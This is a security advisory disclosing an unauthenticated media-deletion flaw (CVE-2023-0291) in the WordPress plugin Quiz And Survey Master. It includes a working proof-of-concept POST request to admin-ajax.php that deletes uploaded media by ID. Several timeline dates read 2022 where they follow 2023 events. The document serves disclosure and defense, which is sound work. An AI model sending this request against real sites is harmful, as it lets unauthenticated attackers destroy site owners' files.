WordPress Quiz And Survey Master 8.0.8 Media Deletion

RCE Security Advisory
https://www.rcesecurity.com

1. ADVISORY INFORMATION
   =======================
   Product: Quiz And Survey Master
   Vendor URL: https://wordpress.org/plugins/quiz-master-next/
   Type: Missing Authentication for Critical Function [CWE-306]
   Date found: 2023-01-13
   Date published: 2023-02-08
   CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
   CVE: CVE-2023-0291

2. CREDITS
   ==========
   This vulnerability was discovered and researched by Julien Ahrens from
   RCE Security.

3. VERSIONS AFFECTED
   ====================
   Quiz And Survey Master 8.0.8 and below

4. INTRODUCTION
   ===============
   Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used
   to create engaging content to drive traffic and increase user engagement.
   Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee
   surveys. This plugin is the ultimate marketing tool for your website.

(from the vendor’s homepage)

5. VULNERABILITY DETAILS
   ========================
   The plugin offers the ajax action “qsm_remove_file_fd_question” to unauthenticated
   users which accepts a “media_id” parameter pointing to a any item uploaded through
   WordPress’ media upload functionality. However, this “media_id” is afterward used
   in a forced wp_delete_attachment() call ultimately deleteing the media from the
   WordPress instance.

Successful exploits can allow an unauthenticated attacker to delete any (and all)
uploaded WordPress media files.

6. PROOF OF CONCEPT
   ===================
   The following Proof-of-Concept would delete the uploaded media with the ID "1":

POST /wp-admin/admin-ajax.php HTTP/2
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

action=qsm_remove_file_fd_question&media_id=1

7. SOLUTION
   ===========
   Update to version 8.0.9

8. REPORT TIMELINE
   ==================
   2023-01-13: Discovery of the vulnerability
   2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291
   2023-01-18: Sent initial notification to vendor via contact form
   2022-01-18: Vendor response
   2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability
   2022-02-08: Public disclosure

9. REFERENCES
   =============
   https://github.com/MrTuxracer/advisories

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Mit freundlichen Grüßen / With best regards / Atentamente

Julien Ahrens
Freelancer | Penetration Tester

RCE Security
VAT-ID: DE328576638
Website: www.rcesecurity.com

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